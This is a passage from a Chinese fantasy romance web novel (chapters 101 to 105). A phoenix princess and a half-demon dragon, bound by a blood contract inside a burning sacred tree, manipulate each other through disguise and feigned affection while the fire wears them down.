他终年冰冷的心脏,亦在充满柔情的触碰中,被九昭温暖的手掌融化掉了外面的硬壳。 他甚至不自觉地,期待起更多。 想到便做,反正这一切都是为了壮大九昭的心魔。 他反握住九昭清瘦不少的手腕,抵在唇边轻咬一口凸起的指节。而后模拟祝晏的口吻,半是委屈半是撒娇道:“昭娘,自从你进了这里,总是忙着修炼,已经好久没陪过我…… “我好想你,也很想吻你。” 九昭歪了歪头:“你想吻我,何时只会用嘴说?” 话音未落,她飞快垂首,唇瓣已经覆了上去。 这是一个蜻蜓点水般的吻。 九昭没有任何迟疑,仿佛在亲吻一块易碎的珍宝,轻轻吮过巫逐的唇角。 待出现一瞬空白的大脑回笼神志,巫逐感觉到自己的心脏竟然砰砰砰地剧烈跳动起来。 这块自打形成,便常年安静匍匐在胸腔中的血肉。 被辱骂折磨时甚少出现起伏。 将敌人的头颅一刀砍下时几乎没有波动。 却在每每与九昭的拉扯对峙之中,突然没有任何征兆的失控。 不规律的跳动声越来越大,如同月夜的海潮,在巫逐的耳畔急速上涨。 分明被迷惑的是九昭,两人相处的主导权,却还是回到了意识不清的她手上。 她凑近他的耳廓,压低声线:“晏郎,趁着难得有空,要不要玩一次我上回提过的游戏?” 游戏。 这又是她从哪里臆想出来的环节? 心魔不曾成长,巫逐一直只能读取她脑海最浅层的记忆,且是断断续续。 他对这个所谓的游戏毫无印象。 吞咽了口干涩的唾液,低低道:“什么游戏,我竟是,又不记得了……” “是真不记得,还是因为害羞?” 九昭促狭地笑了笑。 她慵懒的笑声里,带着几分爱侣亲昵时才会出现的不怀好意,又在他耳畔解释几句。 “就是话本里看到过的。 “将你绑起来。 “嗯,再加上些别的。 “应该会很快乐……” 意思固然隐晦,但巫逐听懂了。 他本就缺乏正常人应有的羞耻之心,将自己和九昭放入相对应的场景设想一下,没什么排斥的感觉,甚至隐隐有些期待,便微一颔首,干脆说了句:“好,只要昭娘高兴便好。” 九昭又笑了一下。 抬手握住巫逐的半边面孔,在高热的元初之火燃烧下,她那比常人还要热上一些的掌心竟带上了一丝奇异的微凉,巫逐不自觉地磨蹭着她,身体被挑起的火焰节节攀升,急需寻找发泄口。 “别着急嘛。 “像个小狗似的。 “从前,倒是不见晏郎你如此主动。” 九昭看似羞辱的话,也透着十成十的溺爱。 这话,她对曾经不是祝晏状态下的巫逐也说过。 相似的东西,总是令人很难抑制住对比之心。 一边是彻骨的厌恶,一边,则是无限的耐心和优容。 顿时,巫逐的心仿佛被毒蜂的微针扎了一下。 血肉被腐蚀消解,流淌出乌黑的脓液。 这又是一种全然不曾产生过的心情。 没等巫逐品味出是什么,九昭掌心变出的打神鞭,已经缠绕上他的肌肤。 …… 事后。 打神鞭仍然捆绑在身体间,半勒着四肢,带来血液不畅的冰凉和酥麻感。 九昭并没有碰他。 她口中所说的“玩个游戏”,仅是单方面对于巫逐的玩弄。 打神鞭可以无限伸长,也可以变粗或者变细。 迎合着她的心意,柔韧的鞭身曾束缚过他躯体的任何一个部分。 崩坏的快乐。 深深浅浅的折磨。 他变成了一座死灰复燃的火山。 而滚烫的岩浆是否能够顺着缺口痛快倾泻,全凭借九昭的一时心情。 她带给了巫逐许许多多个前所未有。 他横过来飘在虚空之中,意识成了一艘小舟,起伏、跌宕、飘摇。 九昭平静面色时,巫逐仍然在不自觉地吐舌喘气。 “你喜欢吗?” 她清洁干净手指,笑盈盈询问。 回答她的是,是巫逐鼻腔断断续续溢出的呜咽:“喜、喜欢。” “晏郎,要说清楚。” 九昭的耐心很好,“是喜欢我,还是喜欢这个。” 巫逐失控的部分又抽搐了一下,勉强聚焦的理智,终于想出个能够取悦对方的回答: “因为喜欢你,所以不管你对我做什么,都很快乐——” “晏郎,好听话……” 九昭一向高傲的语调,何时放的这样轻,这样柔软过。 是一汪春水,缓缓流经所有缺乏感情的干涸土地。 巫逐只觉得自己的某些地方也融化了。 他的面孔又被九昭拢在掌心,馥郁的玫瑰香气伴随她的弯腰一同靠近。 巫逐模模糊糊意识到,她似乎又想亲吻自己。 于是勉力扬起脖颈靠近。 然而。 等了许久。 得不到满足的他黏糊着,想要去回握那双将自己高高捧起的手。 却意外迎来了极其清脆的响声。 “巫逐,你这条下贱的畜生,到底对我做了什么?!” 102| 第102章 ◎“巫逐,我错了。”◎ 听见九昭陡然清醒过来的声音。 巫逐又勾起尾指, 牵动了一下魔血。 不出意外,九昭的心绪再次有了激烈的起伏。 看来是修炼过后最虚弱的阶段已经过去了,她的身体不再受到心魔蛊惑, 回归了清醒。 本着血契牵制的双方, 不能互相伤害的原则,九昭的耳光扇在脸上其实并没有额外的感觉。 叫巫逐在意的,是他的心脏抽搐了一下,突然传出一点似有若无的痛意。 被这点痛意刺激着, 他随手扯开身上缠绕的打神鞭,一边整理衣物,一边坐了起来, 态度极力表现出满不在乎:“怎么,不过是被魔血引诱着和我玩了玩而已,有必要羞愤到这个地步吗?” 九昭收回打神鞭,用颤抖的左手指着他的鼻尖:“你、你真是不知廉耻!” “廉耻。 “那不是用来规训那些三清天老古板神仙的吗?” 巫逐耸了耸肩, “我都已经入魔了, 还在意这些做什么?” 他又故意眯起双眼, 装作回味地舔过唇角,嘲讽道:“幸好这里发生的事情, 除了你和我以外不会有第三个人知晓, 否则要是传到你那个一贯做作的晏郎耳里,指不定得肝肠寸断成什么样。” “谁允许你那张脏嘴提他名字的!” 也顾不得巫逐此时此刻还顶着祝晏的皮囊, 九昭一鞭子抽了过去, “我迟早会杀了你!!” 鞭稍悬在咫尺间, 转瞬被一道鲜红的禁制阻隔, 再难寸进半分。 巫逐避也不避地站在其后, 抱起手臂, 轻轻微笑道:“杀了我,好啊——横竖殿下的鞭子或者仙术对我都是无用的,不如换个办法,让我活生生/爽/死/也好。” “你!” 咯咯。 骤然响起的,是九昭入耳他的话后,气到牙关打战的动静。 论唇枪舌剑,她向来不及巫逐。 过去能随心所欲掌控巫逐的时候,她会用身体的惩罚代替言语的交锋。 如今,她什么都不能做。 和巫逐争吵下去,只能白白被他羞辱。 九昭用指甲狠掐掌心,疼痛是令人冷静的最好工具。 她低下头,消化片刻同巫逐之间已经发生的事实,方惨白着面孔丢下一句:”“同一个魔族讲礼义廉耻,的确是我的想法太可笑了,你不仅不懂羞耻,更没有半点自尊—— “否则,被神志不清的我当成祝晏的代替品,为何还能在这里洋洋自得。” 九昭说完话,如同往常那般将身体转了过去,不再施舍巫逐任何一个多余眼神。 她没发现的是。 这话虽相较咬牙切齿的前几句,要显得平静许多,却恰恰戳中了巫逐最不能提的地方。 他沉默着。 在这个过程里,心底微妙的痛意逐渐扩散到了令他不能忽视的地步。 以至于表情微微都扭曲了一瞬。 罢了。 若顾着自尊。 那么早在几万年前,还不曾被巫劭庇护的时候,他就早应该不堪凌辱去死了。 巫逐深呼口气,神容再次呈现出漫不经心:“是啊,我是卑劣下/贱的魔族,魔族不都是这样吗?只要身体高兴,心情快乐就好,又不吃亏,反正被恶心的是主人你。” …… 为着巫逐的无赖态度,九昭拒绝同他再产生一丝一毫的交流。 莫名的,往日不管对他怎样冷言冷语,用不了多久都会继续黏上来的巫逐,也始终沉默着。 然而,他们陷在彼此冷战的境地里没几日。 九昭被心魔蛊惑着,又犯起了病。 似乎是难以放下自己酿成的错误,她干脆不管不顾,将仙识一直沉浸在元初之火当中。 等到身体到达极限,再也无法承受。 她被迫将其收回,捂着胸口,生生吐出了一口血沫。 仙识急需回到灵台的识海进行沉眠修复,九昭也无法维持住清醒的状态。她猛地伏倒,幸而在神树内生活几年,已经掌握了哪怕在昏迷睡梦保持平衡的要领,这才没有直直坠落下去。 巫逐不必修炼。 实在虚弱的时候,只需要吸取九昭身上的力量就可以。他待在这树心内,除了不得不承受元初之火的热意,其他情况下,都像个寄生虫般无所事事。 因为无所事事,在九昭吐血的瞬间,他便竖起耳朵留神注意。 只不过这次没有像过去一样,冲上去将她扶起抱紧。 不管做人、做仙,还是做魔,都不能太犯贱了。 他恶狠狠地警告自己。 谁知过了没多久,他竟然听见没有动静的九昭,口里又开始念念叨叨一个名字。 “晏郎、晏郎……” 不知是梦呓还是醒了过来。 九昭执拗地重复着这两个字眼。 巫逐拒绝转头。 他不确定九昭是又因虚弱陷入了心魔的幻境,还是故意念喜欢之人的名字来膈应自己。 出于对上次被骂“你没有自尊”的记仇,他也没有试图通过魔血感知九昭的心绪。 直到翅膀破风的声音响起,一双覆着凤羽的赤/裸手臂抱住自己。 “晏郎,你怎么不理我? “是我惹你生气了吗,怎么不回过头来看看我?” 老实说,九昭的手臂并不柔软。 她身上的凤羽是一只凤凰最外层的防御性羽毛,摸起来十分硬挺,边缘还有些薄利。 她天生力气又很大。 巫逐被过分热情地拥抱着,胸膛连续起伏几下,有点喘不过来气。 他依旧沉着脸不予回应。 待到九昭锲而不舍地唤了一声又一声,才冷冷道:“这里没有什么晏郎。” “怎么了,为什么这么凶巴巴的?” 九昭小声嘀咕几句,又松开手臂,绕到了他的面前,“日子过得好快啊……总觉得,我们又是好几天没见面了,是不是我总是忙着修炼,把你给忽略了,你才不开心的,好晏郎?” 忽略。 巫逐差点就要发出冷笑。 若不是有血契约束着,恐怕前几天她打的巴掌印还在脸上。 说到底,疼痛算不了什么。 原本想好变成祝晏的模样,引九昭冲动犯错的是自己。 如今,为替身的身份感到不适的也是自己。 不过,事情终究还要做下去,巫逐想了想,硬邦邦说道:“不许叫我晏郎。” “那要叫什么?” 纵使看不见,巫逐也能感觉到九昭那小狗一般眼巴巴的湿润目光,落在自己脸上。 混沌状态下的她好似有肌肤饥渴症。 没过多久,再次伸出手来,将他一只胳膊牢牢环抱住。 巫逐一时想不出既能避免涉及祝晏,又不会叫九昭出戏的称呼。 别扭几瞬,生硬道: “反正、反正就是什么都不许叫。” “好嘛,不叫晏郎就不叫晏郎……” 九昭答应得很快,没有半点思考眼前一向温柔如水的“晏郎”,为何性格突然强硬起来。她像是疯狂摇着尾巴的幼犬,围绕巫逐打转,软绵绵地讨好道:“那叫心肝,叫宝贝,还是叫夫君?” “——什、什么夫君?” 巫逐顿了顿,反问结巴得更厉害。 九昭却无半分不好意思,含糊且甜蜜的声音低了下去:“都说了,等治好你的弱症……我们就昭告三清天,要成婚的呀,虽然还有几十年才能做到,但是现在叫声夫君应该不过分吧?” 她一下子将脸杵到巫逐面前,唇瓣与唇瓣的相触仅差眉睫之距:“夫君,你不喜欢吗? “不过话说回来……我更想叫娘子……” 九昭的话音黏到仿佛咬上一口,牙关就会拉扯出琥珀般的糖丝。 一丝一丝。 一缕一缕。 糖丝结成蛛网,将没见过什么世面的巫逐彻底捕获——他心底被九昭冷言重伤的隐痛,倏忽之间烟消云散。滚烫的甜意弥漫跳动着的血肉,将其淹没、灌醉、麻痹。 他深吸一口气,又把忐忑的自身封进名为祝晏的躯壳里。 默念了无数遍“我是祝晏,我是祝晏,演戏要逼真,不管说什么都是为了欺骗九昭”—— “不可以叫娘子。” 他义正词严道,“乖乖叫夫君,我才会原谅你。” “夫君、夫君、夫君、夫君。” 九昭笨拙地重复,一句交叠一句,直至将巫逐端着的面容唤得缓和下来。 她同他痴缠了许久。 这次倒没发生什么面红心跳的事情。 两人肩并着肩,由九昭单方面畅想彼此成婚后的场景: “三清天历代的神帝和储君,都和他们的妻子妃嫔分殿而居的。就连我父神母神怕被臣子们诟病,也不例外。我父神每次想要看望母神,如果不用传送阵,光用脚走路,都得好久好久。 “我才不要这样。 “反正我只让你一个人做我的王夫,也不会有什么侧君男宠,成婚以后你就跟我住在一起。 “我要在寝殿里摆满为你搜集的名琴,闲暇无事时,你抚琴,我就迎着春风跳舞—— “晏、夫君,你觉得好不好,我们要永永远远在一起。” 永永远远。 在一起。 哪怕巫逐不会抚琴,不可能住进九昭的宫殿,更不是她心中想要的那个人。 都忍不住为这一刻,她口中描绘的岁月静好而心生一点向往。 他听九昭说了很久很久。 然后摊开掌心,任凭九昭用手指在自己的肌肤上,认认真真写下请求原谅的歉意—— “晏郎,我错了。” 大约叫习惯了这个称呼,想要立刻改正很难。 九昭又犯了小小的错误。 心情变好,甚至有些飘飘然的巫逐没有跟她计较。 在又一次拥抱过后,根据上次幻觉维持的时间,估算着九昭的意识差不多要苏醒过来。 巫逐吐出一口催眠的龙息,叫她睡了过去。 他在旁边陪伴了九昭片刻,无声转过身来,在掌心划下一条代表错误的斜杠。 重新写道: “巫逐,我错了。” 接着缓缓勾起唇角。 103| 第103章 ◎“仿佛这么做,就可以彻底自欺欺人。”◎ 九昭醒了过来。 脑中真切流转的记忆, 提醒着她刚刚跟巫逐发生了什么。 那些风花雪月的设想。 那些向往憧憬的,跟祝晏一起的未来。 换成跟披着祝晏伪装的巫逐说起,就突然变得很反胃恶心。 她之所以能够做到, 不过是借助了前头领悟的, 将仙识散入元初之火的修炼办法。 仙识存在于灵台识海,是她控制躯体,感知外界的意志组成。可以说,不管是默默思忖的心声念头, 还是说出口的话语内容,都是仙识的一部分——在她脑内的记忆,同样如此。 为了更好的实行计划, 在每次装出被心魔控制时,九昭都会尽量剔除有关巫逐的那部分记忆,再设下逻辑暗示和时间限制,情到浓处, 突然醒转, 从柔情转变成厌恶, 方不会引起怀疑。 虽然每每做完,那种背叛了祝晏的自我厌弃感, 的确会为心魔的壮大提供养分。 但好歹还在可控范围内, 这亦是九昭为了赢所必须付出的代价。 九昭醒来也没有睁开眼睛。 她换了个姿势,背对巫逐侧卧在浮空中, 详细翻阅着脑海内的那些记忆。 当初, 她制定了利用魔族动心则法术失效的特点, 来解除血契反杀巫逐的计划, 却受制于从小到大贵为三清天神姬, 高高在上, 从来没有任何去取悦引诱他人的经验。 她先是一步步构建起在长时间的孤寂之下,逐渐沦陷于心魔和巫逐营造的幻觉,态度软化动摇的假象,又在这个过程里,反复思考试探着,对付狡诈的巫逐,应该采取什么手段。 绞尽脑汁想出的几个办法,过于青涩可笑,均被九昭自己否决。 最后,在一筹莫展的挫败中,她突然记起一件小时候发生的事。 满一万岁那年,父神曾送给她一匹浑身雪白的天马作为生辰礼物。 奈何那匹天马为灵兽森林中族群的首领,性格桀骜不驯,难以驾驭。 尝试几次不得,还差点被它摔下马背,九昭不得已,请来专门驯养各种兽类的神弼局仙官。 驯马的过程,九昭只起先耐着性子去看了两次,便逐渐失去兴致。 后来不到一个月,仙官还给了她一匹温顺的天马。 她将马分配去拉属于自己的华美天辇,同仙官闲聊时好奇问起驯服的方法。 仙官对她说,不拘何种兽类,大棒加上甜枣总是不出错的。 就连人,有时也可以采取这种手段。 这段回忆,出现在当下情景中,意味不言而喻。 巫逐是半神,是魔将,更是一条龙,一条从小到大,都不曾受到过关怀慰藉的龙。 他内心封闭,于男女之事的经验可以说少得可怜。 九昭决定姑且拿驯兽的方法试试。 从第一次试探他的兴奋究竟来源于被/虐还是自己,到第二次对他说甜言蜜语,畅想以后,巫逐没有视力,自是瞧不见来自他脸上那副不值钱的表情。一瞬一瞬,定格记忆,观察着他针对每句话做出的不同反应,九昭忍不住怀疑是他生来很会演戏,还是真的十分渴望被爱。 否则,怎么作为他人的替身和她谈恋爱,还能如此的满脸沉迷。 不小心回忆过头,九昭再次猝不及防看到了他被打神鞭五花大绑,衣摆着还残留着凝□□迹,仰面朝上潮红着两颊,低喘说“因为喜欢你,所以不管你对我做什么,都很快乐”的模样。 她立刻皱起眉峰,如同受惊的麋鹿般睁开双眼。 低等的、只会被欲/望裹挟的牲畜。 无法控制受到冒犯的情绪,九昭在心底狠狠骂了一句。 她极力平息着身体诚实传来的不适反应,侧转手腕,沉默望着薄薄皮肤下的脉络。 正常的脉络颜色,是青紫相交的。 而她的不同。 受变异血契的影响,她青紫的血管下洋溢着一丝不祥而鲜红的血色。 九昭定定看了会儿。 不知是否为错觉,她总觉得那缕血色,好像真的淡了一点。 …… 日子一天天过去。 清醒时分的九昭依旧不给祝晏任何好脸色。 她时常会同祝晏爆发单方面的争吵,由于厌恶被幻觉影响的自己,态度也越来越尖刻易怒。 那当初如尖刀般刺进巫逐内心的,作为替身有什么好洋洋得意的言论。 在如今的巫逐看来,已经算得上十成十的温和。 看见你就恶心。 你比不上祝晏一根手指头。 抛开这些鬼蜮伎俩,你还会做什么? 像个阴沟里的老鼠一样,躲在伪装成别人的皮囊背后,就妄想有人会爱你吗? 少做白日大梦。 九昭不清醒的时间越长,清醒过来的反应就越剧烈。 可。 她犯病时,被属于“祝晏”的笑容言语迷惑,对待巫逐的态度也越来越依赖和温柔。 拜心魔所赐,巫逐见识到了很多不一样的九昭。 无尾熊一样赖在他身上,连一瞬都不愿意分开的。 声线甜蜜蜜,语调软乎乎的。 在他以祝晏的身份,半真半假说起童年往事时,气到握紧拳头,差点为他哭出来的。 承诺要一直一直跟他在一起的。 喜欢喊他夫君和逐哥哥的(祝和逐发音相似,哄骗浑浊的脑袋巫逐不需要耗费太多力气)。 还有,还有说等他失明好了,要给他跳舞的。 …… 巫逐的眼睛被嗣辰融入寒铁之息的神术所伤,治愈的希望渺茫。 除非有力量相当,同为火系的神仙或魔族愿意献出眼睛给他。 他知晓永远不会有这样一个人,就如同九昭口口声声的爱永远不是对着他说的一样。 越是在心中拼命逼迫自己承认这一点,在享受虚假短暂的温情时,巫逐就越矛盾沉溺。 不过很快。 九昭也没心情再同他不停进行这等相互试探的游戏。 原因在于,元初之火的温度和强度都在进一步的升级。 仙识分散其中,每一分每一秒都在承受着快要融化的热压。 但九昭还是强忍着,分出一小簇承载记忆的仙识,长时间沉浸在烈火当中。 需要同巫逐做戏时,那分出去的部分就是和巫逐的相识经过,以及对于他的刻骨厌恶。 清醒过来时,审视完记忆,她就会把自己和巫逐做戏过程的部分剥离出去,让被元初之火炙烤的痛苦,来作为代价,惩罚没有替祝晏守节的身体。 自从九昭会不受控制发病后,巫祝再也没有于她脑海中,播放她与祝晏恩爱的过往。 他益发安静。 大部分情况下,只是默默承受九昭的言语攻击。 偶尔不冷不热反驳两句。 …… 到元初之火热得连人躯都受不了的时候。 九昭覆盖在肌肤上,用作防御的凤羽被一点一点烧化。 纵使只要仙力未曾耗尽,凤羽依旧会刺破血肉再生,却也赶不上被消融的速度。 那些来不及长出的部位,露出大片灼伤烧焦的痕迹,连九昭垂在背后的两只翅膀亦然。 她陷入了长久的虚弱负伤状态,捎带作为“寄生虫”的巫逐生活也不再轻松自在。 变异的血契生效,两方便是同生共死的状态。 九昭又额外被魔血压制着,不能反过来吸收巫逐的力量。尽管巫逐的情况比她好上不少,但神力变作的衣衫也被烧毁了小半,手臂、面孔、脖颈均呈现不同程度的灼痕。 巫逐是半神,没有圆满无缺的神境,却有一副强悍的神躯。 以及自小经历折磨过后,养成的对于程度不严重的疼痛不太敏感的麻木神经。 他的自愈能力比只为天仙的九昭强上许多。 若再从九昭那里吸收些许力量,就能不间断地完成自我修复。 可巫逐迟疑了。 譬如现在,为了节省仙力,让凤羽更快长出来,九昭昏昏沉沉地卧在不远处。 她没有能力,也没有余地,来阻拦巫逐的索取。 那用来建立连接,传输仙源的半透明细线就缠绕在巫逐的手指间。 只要心念一动,它们就会顺从巫逐的心意,刺进九昭毫无防备的躯体,从中压榨好处。 巫逐的手指伸直又弯曲,弯曲再伸直,却迟迟没有任何动作。 “神姬殿下。 “主人—— “你还活着吗?” 他的声音低而喑哑,与其说是询问,不如说更像是不愿吵醒睡梦中的人。 他无声上前,一点一点靠近九昭。 浮在九昭的身畔等候片刻,确定她不会突然跳起来骂人或者打人。 巫逐方勾了勾手指,神光裹附着九昭,将她翻了个面。 他伸出手,指腹一点一点摩挲过她的面容和躯体。 的确是昏迷了过去。 无意识的状态下,眉头依旧紧紧地皱着。 防御被破坏,肌肤被灼伤。 伤口本就极难愈合,还要经历无止境的高热,定是痛上加痛。 这样想着,巫逐感觉到自己的伤处,也感同身受地突突跳疼起来。 那缠绕在指尖的红线终究褪了下去,被另外一种象征神力的赤红取代。 巫逐的睫毛抖了抖,明明看不见东西,还是把眼睛闭了起来。 仿佛这么做,就可以彻底自欺欺人。 …… 他开始释放神力,为九昭修复伤口。 104| 第104章 ◎“……可我也只能给予这么多了。”◎ 树心内并无天地灵气可供吸收。 力量的充盈速度, 远比不上抵御元初之火摧残过程中的损耗速度。 因此每一分都显得格外宝贵。 随着神力的快速流逝,巫逐和九昭体内魔血的牵系逐渐变弱。 像是两截断裂的莲藕拉扯到极致,连接中间的部分, 只剩下一点摇摇欲坠的透明细线。 不论谁上前轻轻一拽, 变回彻底分崩离析开来。 相对应的,九昭身上的伤口却在慢慢恢复。 那血肉模糊,边缘焦黑的皮肤看上去好了一些,不再那么触目惊心。 巫逐做不到将她完全治好——事实上, 自打失去颌下珠后,就算通过血契时不时能够汲取九昭的力量,可依照他目前的情况, 实力连当初鼎盛时期的十分之一都没有。 大量的神力损耗,致使他最终放弃继续维持祝晏的外表,变回原本模样。 同样的神魂虚弱,不得不退化到兽类的形态来维持生机。 九昭凤羽覆身, 他则是龙鳞炸起。 她的灼伤受到神力滋养一点一点愈合, 他身上的鳞片却在一片一片被烤脆掉落。 巫逐知晓自己这么做很不对劲。 但他拒绝深入思考。 仿佛有什么东西一旦被揭开, 局面就会彻底失去控制。 昏沉中,九昭忍痛紧皱的眉梢缓和下来。 她低呓一声, 尚未醒转, 身躯无意识地靠近巫逐这里,轻轻蹭了蹭, 渴望得到更多神力。 感受着九昭与清醒时截然相反的亲昵, 巫逐徐徐叹出口气:“主人真是贪心。” 与他自言自语同时发生的, 还有渐渐虚化透明的身体。 “……可我也只能给予这么多了。” 一丝自嘲的笑意浮在唇畔, 他收回施法的双手, 化作赤色烟雾钻进九昭额心。 …… “主人, 你说我们俩不会在这里殉情吧?” 元初之火的温度越来越高,九昭却迟迟没有勘破涅槃的迹象。 她的身边空荡荡的,作出这等不正经感慨的青年声音,来自脑海—— 由于忍受不了元初之火的高热,巫逐趁着她某次昏迷未醒不便反抗,放弃好不容易凝结出来的躯壳,以元身的状态逃进了她的灵台深处,再也不肯出来。 回到灵台后,巫逐老实不少,没再用祝晏的声音作妖。 这叫九昭在面对他将自己的身体当成不要钱的客栈,自由出入时催生的杀意多少克制了些。 如今听着他意味不明的问题,也只是麻木反问:“你的两只眼睛,真不是打从娘胎里出来就瞎了吗?否则怎么会无知成这样?殉情是发生在相爱的男女之间的,这里哪有相爱的男女—— “难不成是你爱上了我?” 九昭的精神状态不好,每日的修炼已经夺走了她的全部精力。 她以一句能把巫逐噎死的话作为交流的结尾,便垂落眼帘,动手处理起身上新出现的伤口。 用凤羽勉强遮住灼烧严重的部分,她木着表情,盘起腿来,阖眸打算进行新一轮的修行。 颅内又冷不丁冒出巫逐古怪的、近乎梦语呢喃的话音:“是啊……难不成是我爱你?” 九昭没有说话。 她闭眼的动作停滞几瞬,望着眼前一簇元初之火如流星般从天而降。 火光照亮了她黑漆漆的、毫无情绪起伏的瞳眸。 好似什么都没听到,九昭径自入定,修炼起来。 直到灵台重归沉默,方才对话的痕迹半点不留,她才无声睁开眼,抬起手腕看了看。 脉络中血契造成的鲜红又淡了点。 远不及手臂上大大小小的火烧痕迹来得引人注目。 九昭默不作声注视着。 …… 当凤羽的生长速度,再也缓和不了身体的受伤程度时。 九昭干脆彻底变回凤凰原样。 她将仙力分散到每根羽毛,借助兽体比人体更强悍的防御力,来与元初之火相抗。 凤凰原身之下,兽性的本能容易压过理智,更加符合心魔的期待。 曾经她防着巫逐,生怕踏入他的陷阱,如今性命攸关,也管不了那么多。 那神帝封印在体内的神力,依旧没有任何回应。 到了这番田地,九昭忍不住苦笑:天纵英明的父神终究漏算了一步,就算把所有神力都给了自己,到关键时刻掉链子,无法催动,似乎等待自己的结局依旧只有死路一条。 凭借区区天仙的身份,想要调动最顶尖的上神之力,终究太过勉强。 九昭尝试了无数次,包围在丹田外部的壁障,不仅纹丝不动,反倒有临危增厚的趋势。 常规方法均失效的无奈下,她试图回忆无日渊内的战斗情形,期冀从中发现规律。 当初,她对上的敌人,是实力无限接近于神的半神巫逐,且自身的性命受到了严重危险。 根据这两点,九昭产生了两种猜测。 要么,在自己真的快死的时候,神力会自动释放。 要么,便是感受到同等的力量冲击,神力会自行苏醒。 本命翎只剩下一根,用完了就彻底死了。 不到万不得已,九昭不能拿自己的性命做试验。 那么,就只剩下向巫逐借用神力这一条道路。 九昭虽明白,巫逐与她深度绑定,前面铺垫了这么久,无论出于什么目的,但凡有一丝存活的希望,巫逐都不会让她死在这里——但她没有贸然地同他提起此事。 脉络血色的变淡,提醒着她,巫逐的真心正在逐渐产生。 眼下只欠缺一个合适的时机,叫他发现自身的感情,并把喜欢上升到爱意。 爱意。 九昭又默默念了念这个词汇。 她也不知为何,从前最追求真挚情意的自己,到如今会变成利用真心和感情的人。 若她还是那个生活在离恨天里,无忧无虑的神姬殿下,大约这样一件关乎自身改变的事,足够她痛苦烦恼很久——可现在,闭上眼是有可能中毒的父神,和等待自己炼成法术回去救命的祝晏,睁开眼是无处不在,灼烧身躯和灵魂的元初之火,现状已然不允许九昭再忸怩矫情。 抛弃短暂的迷惘,九昭的眼神再度回归清醒。 她垂下长颈,望着躯体上被烧成焦炭后,不断掉落的羽毛。 心中无声酝酿起一个决定。 …… 自打重新回到九昭体内,巫逐对于外界变化的感知就不再那么清晰。 他终日沉默,五感渐失。 唯一清晰的,是自己和九昭的神魂在日复一日的煎熬中,已然到了强弩之末的地步。 三清天的储君,无论是以傀儡的形式活着,还是在树心里失败死去,于他而言都是赚的。反正他对这世间没什么留恋,只要能在死前狠狠报复这群神仙,特别是嗣辰就心满意足。 由于血脉相连,巫逐甚至能在脑子里模拟出九昭的状态。 倘若这时候谁能劈开凤凰神树来看看,说不定会瞧见一只“烤鸡”。 还是只烤过头的,外表黑漆漆、皱巴巴的烤鸡。 护体的凤羽早已所剩无几,力量达到顶点的元初之火进一步焚烧着血肉和神魂。 九昭能活着已然耗费了所有的力气,他们也许久不交流了。 反正她死的那日没来,他总还能在灵台内苟延残喘。 就算真的要死了—— 对于死,巫逐的想法不是太多。 没有留恋,没有恐惧。 能跟九昭死在一块儿,他甚至有几分期待和欣喜。 巫逐照例分出一缕神识,检测下九昭当前的情况。 如若清醒,他就老老实实蛰伏。 如果昏迷,他就释放所剩无几的神力,附着在最严重的伤口处,为她稍稍减轻痛楚。 他所能做的,只剩下这点。 天晓得,他的力量接近干涸,每次动用神力,都不得不拔掉几片龙鳞来加强效果。 没有神力,便没有自愈能力。 龙鳞拔落的地方,久久无法愈合的皮肉缓慢腐烂。 幸好自己的眼睛瞎了。 烂得生蛆,烂得露出骨头,也瞧不见。 话说回来。 九昭的灵台这么干净,烂归烂,又怎么会真的长蛆—— 巫逐苦中作乐地开着自己的玩笑,神识探出一半,灵台内陡然响起九昭说话的声音。 虽然很低,但很清晰。 带着一丝如同死水般的认命:“等待了几十年,不知道这个结果符不符合你的期待。 “但没办法,我好像真的要死了。” 105| 第105章 ◎“借我你的眼睛。”◎ 他们已经很久不交流了。 毕竟说话也要费力气, 更何况彼此之间也不是什么可以友好寒暄的关系。 难得听到九昭主动开口,巫逐甚至想用爪子掏掏耳朵,确认这不是长久孤寂下产生的幻觉。 “怎么会要死了呢?” 他问道, “嗣辰注入到你体内的保命神力, 都到这种地步了,还有什么藏着掖着的必要?” 像是被问得有些窘迫,九昭半晌没有吭声。 巫逐渐渐意识到事情不对劲,忖度着询问:“是神力出现了什么问题吗?” “你何必装出很关心的样子?” 九昭的声音出现一刹心事被戳中的滞闷, 转瞬又强迫自己保持漠然,“若舍掉你的一条命,能换来三清天储君的死亡, 灰飞烟灭的前一刻你应该都在拍手叫好吧?” 巫逐从鼻腔里溢出声笑:“知我者,主人也。” “……一想到要跟你死在一起,就觉得很晦气。” 九昭扬起凤颈,一双被灼烧到通红的眼睛望着上空。 纵使无人在旁, 流淌在她血脉中的女君骄傲, 也不允许她露出畏惧胆颤的表情。 然而那元初之火转瞬即至, 高热化作锋利尖刀逼近眼眸,逼得她不得不低下颈子, 把凤首埋进稀稀拉拉, 不剩几根的羽毛里,瓮声瓮气, “你知道我这些天都在想什么吗?” 九昭的语句本是询问。 正常情况下, 脑子里在想什么这样不着边际的问题, 也唯有本人才能回答。 可巫逐却发觉他们相处了太久, 久到听见问题的瞬息, 他的心头已然浮现正确答案。 “想你的父神, 想你的晏郎,还有那位躺了近百年不知是否醒转的鲛人朋友。” 不假思索的,他抢白了九昭准备说的话。 害得九昭哽塞一瞬,才用翅尖挠挠被火燎焦的头顶,略显不满地说着,“你倒是我肚子里的蛔虫,总能猜准我的想法……可不只是这些,还有别的,到快死的时候,我才发觉还有很多遗憾。” “遗憾是应该的,在人生不圆满这件事上,我们和芸生世的那些凡人也没什么区别。” 他们一仙一魔,八字不合。 巫逐口中虽时常揶揄地唤着主人,却从来没有将她当作高高在上者对待。 因此凑在一起,总是免不了争执。 可这次九昭没有同他吵架。 她无视巫逐的话,径自絮絮念叨着。 仿佛这一刻不说,便再也没有倾诉的机会: “当时之所以选择直接进入树心,是害怕你发现我想用元初之火烧死你的端倪,趁者我回去跟亲人告别之际弄鬼。想不到还是中了你的招,还白白错过了最后一次跟他们相见的机会—— “巫逐,怎么从遇到你开始,我就变得如此倒霉?” “倒霉也是应该的,你们三清天的神仙不都说,血统混淆之人天生便是不祥。”面对九昭一连串的抱怨,巫逐不为所动,甚至倒用起三清天的说法,“我是半魔,你靠近我,当然会被影响。” “那我呢?难道是因为我混合了龙和凤凰的血统,才会让身边人纷纷倒霉吗?” 听了他的话,九昭忍不住嘲讽自己。 她涣散着眸光,回顾起即将到头的人生。 不多时,缓缓吁出一口热气,“父神和母神耗费了巨大的代价生下我,我却没有一日让他们感觉到骄傲自豪,三清天需要一个英明果决的储君,我却游手好闲了三万多年,落得满身恶名。祝晏本甘愿俯首早亡的命运,被我痴缠着终于燃起求生的渴望,我却救不了他,也管不了自己—— 